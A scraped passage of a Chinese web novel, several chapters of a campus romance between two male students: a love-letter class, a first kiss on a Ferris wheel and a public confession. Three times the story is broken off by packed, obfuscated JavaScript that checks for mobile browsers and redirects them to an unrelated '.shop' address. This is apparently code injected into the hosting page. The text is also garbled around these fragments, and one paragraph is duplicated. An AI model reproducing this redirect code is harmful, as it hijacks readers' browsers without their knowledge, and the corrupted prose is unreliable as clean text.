岑柏意无奈,点头说好,在他手撤离之际,用拇指轻轻蹭了蹭他的手背。 略带薄茧的指腹蹭过细腻光滑的手背皮肤,像是小蚂蚁在噬咬,酥酥麻麻的。 “!!!” 宁启洄狠狠一瞪,不说话。 宋斯年数完举起的手,感到有些意外,居然才这么点人。 现在的大学生都不谈恋爱吗? 他们平时都在干什么? 宋斯年把自己的疑问问出来,同学们来劲了,纷纷踊跃回答: “干饭啊!想中午吃什么晚上吃什么!火锅烧烤麻辣烫,我踏马吃吃吃!” “很累,每时每刻都在累,回寝室倒头就睡,我的床永远都不会背叛我,床真好。” “整点小酒喝喝,当emo哥。” “打游戏!我要当×批!手机真好玩嘿嘿……” “看美女跳舞帅哥擦边嘿嘿嘿嘿……” 听到大家五花八门毫不搭边的回答,宋斯年没忍住笑了两声,无奈摇头,“大学不谈一场轰轰烈烈的恋爱怎么行?脱单的同学学期末可以找我拿一只玫瑰。” “这堂课主要关于情书,现在,我给你们两节课的时间,请务必认真构思要对如今或者未来的伴侣想说的话,想一想你要表白的时候,会说什么。” “我真心希望大家能认真思考,用心写出一份,就算是对未来的希望,而不是用电子设备去百度。”宋斯年无奈笑笑。 “当然,不会写的字搜一搜倒是可以,毕竟A大学生写情书用拼音还是有点影响招生工作……也影响学长学姐们就业。” 台下发出一阵哄笑。 宋斯年说完,坐在椅子上撑着下巴看他们,似乎是完全不准备再讲点什么了。 宁启洄小声吐槽:“真的不是在水课吗。”感觉这堂课学下来也谈不上恋爱啊。 想着,斜觑了眼岑柏意,内心遗憾。 这人怎么还不开始追他呢。 都给他等着急了。 岑柏意没忍住轻笑一声,附和着点头。 发呆四处看不小心瞥见的宋斯年:“……” 你们有点暧昧了同学。 还有点不礼貌。 似乎是没上过这么有趣的课,同学们都很配合地思考着,没有一个人碰电子设备。 教室里安静极了,所有同学认真地看着桌上的信纸,似乎在思考要写什么,偶尔有几位已经拿起笔开始写了,黑色圆珠笔在信纸上舞动,发出簌簌的声音。 宁启洄无意识转着指尖的笔,思索该写点什么。 写情书应该和写信差不多…… 【亲爱的岑柏意先生(划掉)小哥(划掉)兄台(全部划掉) 亲爱的姐夫: 你好!】 嘿嘿,刺激! 宁启洄看着信纸上感觉漂亮但占了大半行的称呼,叹了口气。 感觉哪里不太对啊。 一般情书是这么写的吗? 宁启洄长得好看,青春期叛逆得不行,是小女生会喜欢的坏坏男孩,情书收了不少,男生女生的都有,但他一封都没拆开过,也不知道情书的模板是怎样的。 现在,他居然要亲自写一封情书。 头大。 宁启洄想了想,继续写: 【今天,宋教授让我们写封情书,我不会写,于是我充分发挥高中二十分钟画一篇作文的手速开始编,反正最后收信的肯定是岑柏意(A大计算机一班岑柏意,同名同姓的不算嗷),你肯定能理解我的对吧岑总(划掉)姐夫? 我怀揣着激动地心开始写(划掉),我万分沉痛地告诉你,这个时候你还没有追到我,不过不要紧,有情人终成眷属。】 好好的一封情书,跟狗蛋儿穿了四五年的开裆裤似的,全是补丁。 宁启洄看着黑色的笔迹,轻轻叹气,继续往下写——毕竟这么大张信纸,就写一小半不太好看。 【我对你的初印象是高冷帅气的酷盖,后面混熟了,我发现你是个内心柔软的好小伙! 虽然江千陵用你的照片网恋,但你也没有生气(起码我没听说这样的消息),而且最终收获了我这样英俊帅气的男朋友,所以他也算是大功一件……扯远了,总之,我男朋友(划掉)准男朋友是一个很热心肠很温柔的人。 第一次在你家发烧的时候,我觉得你简直是天使!虽然这个天使早上醒来抱着我起反应了……慢着,天使姐夫你是不是那个时候就对我有心思了?有前途。 我对你动心,估计是同人文看多了,但不只是因为这个,很可能有你厨艺的功劳。哈哈开玩笑啦,纯看脸()】 宁启洄看了一会,发现这完全是自己“罪行”的自白书,把自己喜欢上岑柏意的整个心路历程全写上了。 看到那次“尿床”的经历,宁启洄默默捂脸,很想凭空长出delete来删除。 可惜,现代实体信纸并没有发展出如此高级的按键,他按着右上角的玫瑰花图案,三秒后,果然没有任何反应。 叹气。 回忆录写得差不多了,宁启洄准备润色一下,毕竟未来可能要给岑柏意看的。 半晌,他思绪一顿,停下来。 手里圆珠笔越转越快,突然,原本就没怎么盖紧的笔帽砰地一下飞了出去,直直砸中岑柏意的下巴。 “……” 宁启洄略带内疚:“……抱歉。” 岑柏意十分宽容:“我原谅你。” “……谢谢。” 宁启洄无话可说。 像是想起什么似的,语气恶狠狠道:“自己写,不许再抄别人的!” 他都是自己写的,虽然…有点拉胯吧。 留有前科的岑柏意举起三根手指发誓,“我保证一定自己写,如果你想,我还可以用英法德三国语言给你写不重样的情书。” 普通话系统有时都会紊乱的宁启洄:“……倒也不必。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262663|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时间一分一秒过去,所有人都沉浸在情书的世界里。 到了快下课的时候,大家都有些躁动了,玩手机的玩手机,聊天的聊天。 宁启洄在思考怎么结尾,总不能真写个此致敬礼,虽然很尊敬礼貌,但多少有点不尊重他俩隐晦的爱情了。 他想了想,抬笔写: 【相信这个时候你已经是我男朋友了,如果不是,请你继续努力。 反正,我就是喜欢你。 ——超级无敌宇宙第一爆炸炫酷大帅比留(你排第二,够意思吧:P】 宁启洄画完最后一个图案,放下笔,冲信纸吹口气,满意至极。 他想,他真是个情书小天才。 宋斯年看了眼手表,缓缓开口: “最后,请大家把手放在信封上,闭上眼睛,感受你写情书时的心跳悸动。”宋斯年微笑看他们,“让这份心动延续至午后吧。” 宁启洄发动吐槽技能,小小声,“然后在食堂含情脉脉地亲吻鸡腿?” 宋斯年:“……” 同学,你话真的有点密了。 宁启洄默默闭嘴,闭上眼,脑海里想的全是岑柏意。 过了几秒,他悄悄睁眼,侧目对上岑柏意温柔的视线。 宁启洄眨眼示意:……你怎么不闭眼? 岑柏意似乎没读出来他的意思,只是笑着看他。 铃声响起,大家收拾包起身去吃饭,下午又是满课,宁启洄居然没找到合适机会问他。 晚上没课了,林枫晚买了烤串。 几人在寝室里边吃烤串边聊天,说着说着就又聊到上午的那趟恋爱心理课,宁启洄还是觉得奇怪,又偷摸看了岑柏意一眼。 宁启洄:“你为什么看我?” 岑柏意挑眉笑道:“现在是你在看我。” 宁启洄:“……你知道我在说什么。” 两位圈外吃瓜猹默默注视,感觉好像进入了什么不得了的磁场。 虽然不知道发生了什么,但总觉得离开会错亿啊。 这,留也不是走也舍不得啊。 等了很久,310寝室里依旧很安静。 岑柏意凝视宁启洄很久。 猹一号林枫晚小心翼翼出声:“咱,瓜还吃吗?” 一旁的江千陵迅速怼了他一下,怼得他身形一晃。 瞎说什么大实话呢!也不怕被人听见。 猹二号江千陵小心翼翼看了眼岑柏意。 被三双眼注视的男生瞥了他们一眼,突然掏出手机敲敲,电子键盘的麻将音噼里啪啦响起。 宁启洄:“……?” 现在就已经光明正大无视他了?这以后还得了。 就这还追他呢,都快给他气死了。 宁启洄莫名又生气了,脸颊鼓了鼓,又瘪下去。 突然,他的手机滴滴响了两声,是微信消息。 是有什么不能当面说的,神神秘秘。 宁启洄突然明白了什么,怔了一下,随即迅速掏出手机看。 他的手指有点抖,误点进七百CP文发源地。 看到首页的【化形仓鼠×兽语宿主】的标签,宁启洄被呛了一下,急忙退出来,点了微信。 岑柏意的消息在最上面,头像不知道什么时候换成了龙猫小汤圆,小汤圆头顶搭着白皙的指尖,指甲泛着淡淡的粉色。 ——是宁启洄的手。 【cby】:我在感受心动的瞬间,岁宝。 64.造作 “哇……” 两位没见过世面的猹发出了同款感叹。 林枫晚斜睨了眼江千陵,这人,就那么水灵灵把他睡了,一点仪式感都没有,都不表白就在一起了。 而且还反攻失败,可恶啊。 江千陵对上他的视线,也意识到这个严肃的问题,他双手合十赔笑道:“我的错,马上补。” 林枫晚挑眉,难得有些来事,扯着江千陵出去了。 岑柏意看了宁启洄很久。 宁启洄脸红心跳,不知该做何回答。 半晌,岑柏意还是放过了他。 “不涂唇膏吗?”他很自然地转移着话题,听得宁启洄大脑一卡一卡的。 “什么?” 岑柏意:“咱妈…好吧,您妈妈之前不是给你买了唇膏,我看你天天晚上涂。” 在宁启洄的瞪视下,岑柏意收回那个称呼,心下可惜。 冬春交际,天气很干燥,苏女士特地给他买了唇膏擦擦擦,生怕儿子的水润润嘴唇裂开。 宁启洄狐疑地看了他好几眼,“做什么?” 岑柏意:“我也想涂点。” 宁启洄随手指了指桌上,“喏,就在那里。” 不料,岑柏意却是缓慢摇头,眼里还是笑着看他。 “其实,还有一种方法。”视线落在宁启洄唇边,眸色渐深。 宁启洄看着他目光挪向自己的嘴唇,脑海里蓦地出现贴吧同人文里的,吃口红情节。 他老脸一红,瞬间get,垂下眼乱飘,冲出去刷牙。 吃过烤串,肯、肯定不能接吻啊! 仔仔细细刷完牙,宁启洄深吸一口气,放松心态,同手同脚去涂唇膏。 苏女士买的唇膏很高,涂起来水水润润但不油腻。 确保没个边边角角都涂上唇膏以后,宁启洄吸气,眼里带了些不易察觉的期盼看岑柏意。 被捉住手时他轻轻挣了一下,岑柏意很轻地笑了。 都什么时候了,还这么假客套,以后可怎么办。 下一刻,就看见岑柏意低头,轻轻在他沾上唇膏的指尖印了个吻。 温热柔软的唇瓣贴上宁启洄微凉的指尖,微微干燥的唇摩挲出细微的颤栗电流。 岑柏意抬头,故作奇怪,“你的脸怎么这么红?” 宁启洄脸更红了。 岑柏意若有所思,眼里闪着笑意,“哦…莫非你以为我想——” 亲字没出口,就被宁启洄捂住嘴,红着脸瞪了一下,“我什么都没想!” 然后噔噔噔爬上床,蒙上被子睡觉。 不理这人了,真讨厌! 此刻,桌子边只剩下岑柏意一个人。 沉默片刻,突然,他笑了。 亲嘴转移注意力,吻指尖当然就顺理成章了,宁启洄也确实没有找他算账。 没他的同意,他怎么敢直接吻他。 不过,看起来,他的青蛙好像要熟了。 —— 日子过得平平淡淡,宁启洄有时候会盯着岑柏意的侧脸发呆。 这人到底还追不追啊,怎么一点动静都没有,等得他都有些着急了。 直到这天,寝室里另外两只猹外出约会了,就剩岑柏意和宁启洄在宿舍里。 岑柏意在看书,宁启洄在打游戏,两人静享美好下午时光。 准确的说,是岑柏意坐在椅子上,宁启洄半推半就坐在他腿上。 ——虽然两人现在还没在一起,但他们俩也没觉得哪里有什么问题。 又输了一把游戏,宁启洄愤愤锤了下岑柏意圈住他腰侧的手臂。 岑柏意垂眸:“飞来横祸?” 宁启洄轻轻揉搓他的手臂,心虚找补:“独属于你的天赐恩典。” 岑柏意笑了一下。 游戏也不想玩了,宁启洄干脆往后一靠,窝在岑柏意怀里,舒舒服服把他当一个人形靠枕。 加温的那种,定制款,你值得拥有。 过了几分钟,面前的书还是一页都没翻动。 他探头:“?” A大学生手册有什么好看的,还看了一个多小时,一页多不翻。 这是要毕业了朝校领导进军的趋势? 社会我岑哥,人帅路子野。 “学长怎么不翻页?”宁启洄眼珠一转,用当时演小姐的尖嗓子冲岑柏意说话。 岑柏意:“……” 他眸光深沉看着宁启洄,半晌,声音低哑。 “岁宝,别闹。” 宁启洄嘿嘿一笑,声音带钩子似的,“学长~” 岑柏意没说话,只是呼吸加重,热气喷洒在宁启洄颈侧,温度高得他心惊。 宁启洄有些别扭地动了动,试图让流动的空气吹散热度。 “别乱动。”岑柏意闷哼一声,手臂慢慢挪到怀中人的腰上。 腰很细,一条手臂很轻松就能圈住。 往后一揽,两人贴得更紧,宁启洄身体禁不住一抖。 缓了一会,缓过来的宁启洄继续造作。 “学长不喜欢我这么叫你吗?”宁启洄尖着嗓子,很柔和的音色,听着有些勾人。 岑柏意搭在他腰侧的手微微用力,捏得宁启洄一抖。 “别造作。” 宁启洄哼哼两声,“这是撒娇呢。” 嘿嘿,就要造作,开心~ “行,那以后岁宝只能冲着我撒娇。”岑柏意意有所指,“希望你以后还能撒娇。” 他另一只手合上完全没看进去的学生手册,手抚上宁启洄的脸颊。 手感很好,Q弹软嫩,就像是前几天宁启洄塞给他的□□糖,有股子水果甜味。 宁启洄:“?” 这个意味深长的语气是怎么回事? 气氛很好,岑柏意转移话题道:“晚上出去玩吗?” 闲得长霉的宁启洄探头。 什么好登西? 宁启洄毛茸茸的头顶悬在书页正上方,挡住了岑柏意的视线。 “有没有人说过,你这样很像小猫崽?”岑柏意看着他半天,唇畔笑意越发明显。 宁启洄:“?” 谁? 谁是猫? 不对,谁是崽! 看着宁启洄隐约炸毛的模样,岑柏意熟练地顺毛。 “乖。”岑柏意呼噜呼噜宁启洄柔软的发顶,亲了亲他的发丝。 声音低沉温柔有磁性,听着就是享受,更何况还是在哄自己。 宁启洄被喊得没脾气,耳朵麻麻的,只是嘟囔着摸摸后脑勺。 “撞我做什么。” 岑柏意没忍住,笑出了声,再次被小猫崽狠狠瞪视。 —— 两人等到傍晚就出发,先去吃了顿饭。 坐在海鲜自助店里,宁启洄真诚发问:“我们今天是约会吗?” 看流程很像,吃完饭出去玩。 但又不太像。 晚上约会,有一种直接奔酒店去的错觉。 宁启洄叉了块三文鱼刺身,思维开始发散。 他好像没带身份证呢。 吃过饭,岑柏意带他去了某个地方。 路上还神神秘秘不肯说。 岑柏意伸手牵住他的手,慢慢往前走。 岑柏意的手温热的,握着很舒服。 宁启洄翘了翘嘴角。 好吧好吧,那就满足准男友的这点小心思吧~ 没走多久,宁启洄看周围的景象越来越熟悉。 “?” 这是回到他的快乐老家了? 宁启洄从他背后探头,看见了熟悉的月之城游乐园。 “……”这是什么梦开始的地方吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272843|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁启洄还是很配合地由岑柏意拉着自己进去了。 熟悉的VIP通道,熟悉的特权票。 还没什么动作,旁边突然有人拍了拍他。 “小哥,你是不是上次卖气球那个?”一道有些兴奋的声音从旁边传来。 宁启洄:“……” 岑柏意:“……” 死去的回忆突然开始攻击他们。 女生从一堆夹到的玩偶中探头出来看他们俩,“今天还卖吗?你卖的气球好便宜的!” 宁启洄:“……” 怎么能不便宜,小本生意,赔本买卖,全靠岑总的大力支持。 女生:“你还卖吗小哥?” 宁启洄:“……” 不要说这些让人误会的话,影响市容。 他看着女生亮晶晶的眼睛,残忍地拒绝了。 “不,绝版买卖,卖一个少一个。” 女生:“……?” 听见没得卖了,女生可惜叹气,但还是一笑,“那好吧,祝你们百年好和!” 女生蹦蹦跳跳地走了,毛绒玩偶边走边掉,她朋友跟在后面捡。 岑柏意让宁启洄选游乐项目,宁启洄径直走向摩天轮。 上次没亲上,这次一定要亲到! 岑柏意挑眉,还是拉着他往前走。 摩天轮轿厢到达最高点,周围的景象瞬间变得遥远。 宁启洄俯瞰大半个A市。 夜晚,A市大部分建筑都亮起了灯,在深蓝色的夜幕里一片辉煌。 “岁宝。”岑柏意的声音在耳畔响起。 把宁启洄的注意力拉回来。 摩天轮轿厢到达最高点,周围的景象瞬间变得遥远。 宁启洄俯瞰大半个A市。 夜晚,A市大部分建筑都亮起了灯,在深蓝色的夜幕里一片辉煌。 “岁宝。”岑柏意的声音在耳畔响起。 把宁启洄的注意力拉回来。 宁启洄目光从外面的景色上收回来,怔怔地看着岑柏意温柔的脸。 是、是不是要亲嘴了! 岑柏意捧着他的脸颊,轻声问:“我可以亲你吗?” 宁启洄羞涩点头。 岑柏意俯身凑近,温热的唇瓣凑上去,亲得很温柔。 片刻后,岑柏意稍稍拉开了些距离,唇还是贴着他唇角,胸膛笑得震动。 “要呼吸,闭眼。” 宁启洄脸更红了,磨了磨牙,捧着岑柏意的脸就亲上去。 “唔——” 磕到牙了。 嘴唇传来阵阵疼痛,不太痛,但恼人。 宁启洄气得更用力亲下去。 他先是不得章法地用唇瓣摩挲,磨得他心里起火。 倏地,看过的同人文描写出现在脑海。 他试探地伸出舌尖,碰了碰岑柏意的唇瓣。 下一瞬,岑柏意俯身而来,无师自通地撬开他的唇缝,舌尖交触,带起津液,裹挟着热度和爱意奔涌而来。 岑柏意呼吸渐渐沉重,手扣住宁启洄的后脑勺,往自己这边带了带。 气息交融,两人都能闻到彼此身上的味道。 岑柏意越亲越凶,吻技虽然生涩但足够让宁启洄迷醉。 他有些喘不过气来,用手抵在岑柏意胸膛,示意他快松开。 亲着亲着,岑柏意的手慢慢抚上宁启洄的后颈,拇指摩挲,似乎在安抚他的情绪。 但他就是不松口,缓缓给有些窒息的宁启洄渡气。 轿厢里的气氛似乎都泛着粉红泡泡, 等这一吻结束,宁启洄瘫软在座椅猛喘气,同时还不忘瞪始作俑者一眼。 哪有这么个亲法的,都把他亲得快窒息了! 不过,是挺舒服…… 宁启洄小脸黄扑扑地想着,也不知道下一步是什么。 65.仪式 等从摩天轮上下来,宁启洄已经面色通红,呼吸紊乱。 反观岑柏意,身形挺拔,呼吸顺畅,宛如没事人一样。 宁启洄有些心里不平,凭什么这人脸不红心不跳的,他就喘得跟狗(褒义)一样?! 不公平。 宁启洄悄咪咪斜睨岑柏意。 岑柏意:“?” 偷感有点重了。 亲都亲过了,岑柏意正大光明牵起宁启洄的手走出去。 好不容易追到手了,当然得牵,牵够本。 两人就这么走着,突然,宁启洄歪头看他,“我们这算是正式在一起了吗?” 岑柏意似是一愣:都亲了,还不算在一起了吗? 宁启洄嘟囔道:“一点仪式感都没有……” 岑柏意忍不住笑了笑,另一只手揉揉他的头,手感很好,又揉了一下。 “好,那就有点仪式感,不过,得等一些时间。” 宁启洄满是期待地用力点头。 于是,接下来的两个月,二人度过了一段没名没分但天天亲亲的时光,甚至岑柏意会专门把其他两位怨种室友赶出门。 ——因为宁启洄会很害羞炸毛,他也没有被别人围观接吻的习惯。 岑柏意的吻技也飞速进步,亲得宁启洄头昏腿软,每次都要靠他扶着才能稳住。 然后岑柏意就笑,宁启洄就炸毛,岑柏意再哄。 躲门外听墙角的两位从最开始的兴奋到麻木。 就不能有点别的戏码吗? 听得他们耳朵起茧。 不过岑柏意笑着轻声哄人是真的好听啊,跟蛊王似的。 这谁受得住? 如此循环往复。 在某一天晚上,岑柏意有事,出去了很久才回来。 大半晚上的,也不好再把瑟瑟发抖的两位室友赶出去。 在寝室安静又诡异的氛围里,江千陵和林枫晚默默贴墙降低存在感,岑柏意咽了咽口水,正要解释。 宁启洄目含控诉:你心里没有我了!果然,没名没分的爱情是不完整的! 很轻易就读懂眼神的岑柏意:“……” 是他不想有名有份吗。 他叹气,揉了把宁启洄的脑袋,“别闹,你最重要。” 宁启洄小脸微红,脑瓜子冒泡泡:“喔。” —— 第二天,又是熟悉的恋爱心理课。 临近期末周,这是最后一次课。 宋斯年依旧穿着体面合身的白色西装,手里捧着一大捧白玫瑰,教室里也布置成和第一节课那样,但又不太一样。 宁启洄觉得,可能是自己最近亲嘴最多了,出幻觉了。 如出一辙的红玫瑰,没区别。 宋斯年把玫瑰花束放在讲台上,微笑开口:“同学们还记得我上次说过什么吗?” “这节课不上啦?!” “我猜是平时分拉满。” “难道说能提前去吃饭,善哉。” “……” 同学们众说纷纭,最终还是于春和同学小声开口:“老师说要发玫瑰。” “好耶!” “好好好,就我还单着没份是吧,哭咧咧。” “虽然我没脱单,但我中午可以不吃饭,省下来的钱去买玫瑰,哼哼哼!” “哈哈,求问最近有什么情人节日吗,我去垃圾桶蹲蹲,说不定能捞到花和蛋糕。” 宋斯年额角一抽,捂额轻轻摇头。 他是越来越不懂现在学生们在想什么了,要不以后不开这门课了? 绝版宋教授牌恋爱课,就上这一学期。 等讨论声小一些,宋斯年才开口:“大家说的没错,我之前说过,期末脱单的同学可以来我这里领一支玫瑰,今天是我们最后一节课,现在来统计一下班上脱单的同学有多少,有对象的同学麻烦举下手,我来发玫瑰。” 举起的手和之前统计的一次没差。 宋斯年记性很好,半晌有一对情侣分手了,没称过来。 简直像在公开处刑,当然,除了当事人和他也没人记得。 岑柏意淡定地举起手,宁启洄下意识举起手,犹豫两秒,又放下了。 岑柏意:“……?” 这个意思是,他一直在跟自己谈?自娱自乐打啵? 宁启洄小小声,“仪式感仪式感。” 岑柏意嘴角一抽,强行把他的手举起来搁在课桌上。 “先举,仪式感会有的。” 有人注意到了他们俩的动作,嘿嘿一笑,说:“老师老师,如果一对都在班上,那不是有两朵玫瑰了!” 宋斯年笑着点头,“发玫瑰的本意是让你们送给对象,如果都在班上那就互送,不是更浪漫?” “嗷嗷嗷!” “可恶,虽然我还没脱单,但我早晚能有女朋友的,宋教授能分我一支吗?” “通天贷APP竭诚为您服务。” 台下又热闹起来,宋斯年也没再管,最后一节课没有什么要上的内容了。 反正从举起的手来看……可能他教的东西确实没什么用,宋教授难得自卑地想着。 他捧着玫瑰给脱单的同学发玫瑰,等发到岑柏意和宁启洄面前时,他眼里藏着不出所料的笑意。 “恭喜。”两只玫瑰放在他们手中。 岑柏意淡定,“谢谢老师。” 宋斯年笑了笑,冲有些不好意思的宁启洄眨眨眼,继续给其他人发玫瑰。 “我还没背着家长老师谈过恋爱呢。”宁启洄红着脸小声嘟囔,“想想就……好刺激啊,好像在偷情。” “?” 岑柏意不懂他男朋友是什么脑回路,但他敏锐地抓到一个点。 “背着家长?岁宝你没和家里人说吗?” 宁启洄瞥着岑柏意平静的神色,心虚找补道:“这不是还没正式确认嘛……” 见岑柏意的脸色依旧淡定,宁启洄有了个不太好的猜测。 “难道你和夏姐说了?!”宁启洄惊异出声。 夏姐的儿子捏捏眉心:“……”差辈了男朋友。 “我告诉她了。” 宁启洄呼吸一滞,大脑缺氧。 那他以后该怎么去做家教啊! 他把他学生的哥哥给拱了! 他拱了他夏姐的儿子! 他拱了他侄子! Oh, no! 似乎猜到宁启洄在想什么,岑柏意的表情终于有变化了,他脸一黑,压低声音道:“放心,你夏姐早就知道了。” 宁启洄更是窒息,他声音颤抖道:“什么时候知道的?” “情人节带你去天台之后。” 宁启洄缓缓闭眼,似乎马上要飞升。 那岂不是说,他顶着岑柏意对象的壳子去上了几个月的课! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286198|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 难怪那一阵子他夏姐隔三差五问他渴不渴想喝点什么,比刚来的时候还要关心。 岑念更是听话得不像话。 瞥见他灵魂出窍的表情,岑柏意好心安慰:“放心,我没告诉我爸。” 只不过夏女士肯定藏不住话,叭叭叭往外抖搂,说不定他家亲戚都知道了。 但为了不让小男朋友在课上彻底闭眼,岑柏意还是决定善意地不说穿这个事实。 宁启洄觉得自己又活过来了,缓过劲开始听宋斯年说话。 发完玫瑰,宋斯年又抱出一个大礼盒,礼盒在上次出现过,宋斯年把情书收上去以后就存进了这里面。 宋斯年说:“写完情书装信封之后,大家也都印了火漆,后面我是没有打开过的,现在我把情书重新发给大家。” 火漆是红色的玫瑰图案很好看,信封外面贴了张小小的标签纸,表示这是谁的信封,避免弄混。 “主要就是一个仪式感。”宋斯年笑道,“原本希望同学们脱单了了把这封提前写好送给各自的对象,没想到……哎。” 宋斯年重重叹气,只觉得自己职业生涯首遭挫折。 课堂氛围比较轻松,也可能是因为最后一节课了,有人开口道:“宋教授,找到对象了现写不也是一样的吗?” 宋斯年摇头,“不一样,你找到对象了再写,你当然知道你爱他/她,这份爱不纯粹,因为你设定了‘你爱他/她’这个先决条件,你知道你的爱人是个怎么样的人,你会利用现有条件尽可能表达自己的爱意,这样很好 。” “但我说了,这样的爱意是掺杂了先决条件的,我们现在的这份情书是对未来对象的话,这里面包含了你对他/她的期许和想象,也许还有对未来的美好憧憬。” “比如说,有些同学可能不会写他/她是一个怎么样的人,也许简简单单在街上散个步,你们可能会养只猫,一起做饭一起洗完,一起打游戏然后瘫在沙发上,或许剪了个失败的发型,你们会抱头痛哭又彼此嘲笑……这不是很美好吗同学们。” 在场的学生都“哇——”了一声,开始想象那副画面。 宁启洄也想了想那个画面,然后信誓旦旦,“我剃光头都好看。” 说着,又扭头看向岑柏意,“所以你不能笑!” 岑柏意笑着点头,“好,不笑。” 这就很不礼貌了。 宁启洄撇嘴。 等大家哇完,宋斯年把情书发了下来。 岑柏意的情书写得很认真,一笔一划,字迹工整俊气,语言朴素真诚,但满是真情流露。 等宁启洄看得差不多了,岑柏意突然伸手,把宋斯年发的那支红玫瑰递给宁启洄。 红玫瑰鲜艳欲滴,搁在洁白的纸页上,颇有种纯洁浪漫的意味。 宁启洄耳根微红,但嘴依旧坚守阵地,“仪式感就这啊岑总。” 岑柏意没作解释,揉揉他的头笑了笑,“会有的。” 宁启洄学着也把自己那朵玫瑰递给他,就很像捧花交换现场。 他依旧撅起嘴,嘟嘟囔囔的,“借宋教授的玫瑰嘛,你好敷衍哦岑总。” “乖,继续看。”岑柏意呼了把他的头发,示意他翻个面。 嗯?后面还有吗? 没正儿八经读过情书的宁启洄瞬间收声,他眨眨眼,继续看情书,他看到情书的最后一句: 【我想陪你很久。】 66.表白 宁启洄面无表情,内心尖叫。 啊啊啊啊! 写得好好! 比他的日记体流水账情书好多了。 岑总真有你的,他要把这封情书裱起来! 岑柏意见他没什么表情,有些把握不准主意。 他眸色认真,仔细打量着宁启洄的神色,注意到他耳根红了一片,这才稍稍松口气。 岑柏意说:“我们真的在一起吧,我很喜欢你岁宝。” 宁启洄脸颊也跟着红了红,在红玫瑰的映衬下,不知道谁才更艳丽。 他点头,小小声,“我也喜欢你。” 看着对面人羞红的脸,岑柏意突然起了故意捉弄他的想法,“什么?” 宁启洄:“我也喜欢你。” 岑柏意:“嗯?你有说什么吗岁宝,我听不清。” 宁启洄:“……” 多好一大小伙子,可惜年纪轻轻就眼盲耳聋的。 气氛到这了,谁怂谁是狗。 在岑柏意带着笑意的目光中,宁启洄深吸一口气,超大声:“我说我喜欢你!” 全班突然安静下来,不知道是不是命运的指引,所有人都看过来,眼里闪着对爱情的好奇与对八卦的渴望。 哇塞,表白哎! 好磕! 宁启洄:“……” 岑柏意:“……” 眼里的笑意突然转化为惊恐。 倒也不是要这个惊艳四座的效果,就是,打个商量,能倒带重来一次吗? 半晌,不知道哪位同学扬声说道:“那就让我们为这对新人送上祝福!” 然后,教室里开始哗啦啦鼓掌,整整齐齐很有节奏,听着像是他们俩的安魂曲:) 宁启洄看着很平静,其实人走了有一会了。 岑柏意强行镇定,一边瞥开视线,一边伸手捏捏宁启洄的手心,示意他回魂。 最后还是宋斯年压下场面,开始说其他事情。 两人都悄悄松了口气,宁启洄又听岑柏意语气平淡又夹杂着一丝期盼开口问道:“那我们现在算是正式确定关系了吗?” 宁启洄欣然点头,这个诚意很足,仪式感相当到位。 “那什么时候能把我介绍给你家里人?”岑柏意目含期待。 虽然家人不一定能立马接受,但总会让他们知道的。 岑柏意完全不慌,他相信自己的努力一定能打动他们,他非常期望能以宁启洄男朋友的身份站在他家长面前。 就算不是现在,以后也是可以的。 宁启洄突然沉默。 岑柏意:“……?” 他只不过随口一问,但现在突然就有点慌张了。 宁启洄张了张嘴,又闭上了。 要不再等会? 外公和宁先生可能会打断他的腿,请参考苏绍庭。 宁启洄想了想自己断腿的模样,狠狠闭眼。 不行,今年过年再去外公家探探口风。 只要把外公那边解决了,宁先生不足为惧。 宁启洄算盘打得很好,没注意到岑柏意逐渐慌张的眼神。 他身上拍了拍岑柏意的肩膀,语重心长道:“小岑,任重而道远呐!” 岑柏意:“……” 谈恋爱好难。 轻轻叹了口气,岑柏意说:“没事,会好起来的。” 虽然根本就不知道到底是有什么事,但是,先安抚就对了。 宁启洄眉头拧得更紧:不,你根本不知道我会面对什么,不对,是你会面对什么! 岑柏意:“……?” 岑柏意:“为什么我从你眼里看到我晚年坐着轮椅孤苦伶仃的幻象?” 宁启洄轻轻闭眼:“你看错了。” 那可能不是幻象。 不对,设定要改改,就岑家这个家大业大的财力水平,只要岑柏意不违法乱纪不闭着眼投资炒股,应该是能混吃等死一辈子。 那还挺好,晚年一个孤寡小富老头,肯定挺多老头老太太稀罕。 宁启洄有些苦中作乐地想。 不怪他如此悲观,实在是上次他小舅给试水的结果实在是太可怕了。 据说苏绍庭被打得起不来床,身体刚好点就窜到国外去了,以免再被毒打一顿。 岑柏意不知道发了什么,他只是伸出手,在桌底下握了握他的手,温度通过掌心传递过去。 宁启洄倍受感动,张嘴正要说自己一定不会抛下他独自面对狂风暴雨的,余光却无意间往门外一瞥,看到了狗狗祟祟的江千陵。 宁启洄:“……?” 你不用上课的吗? 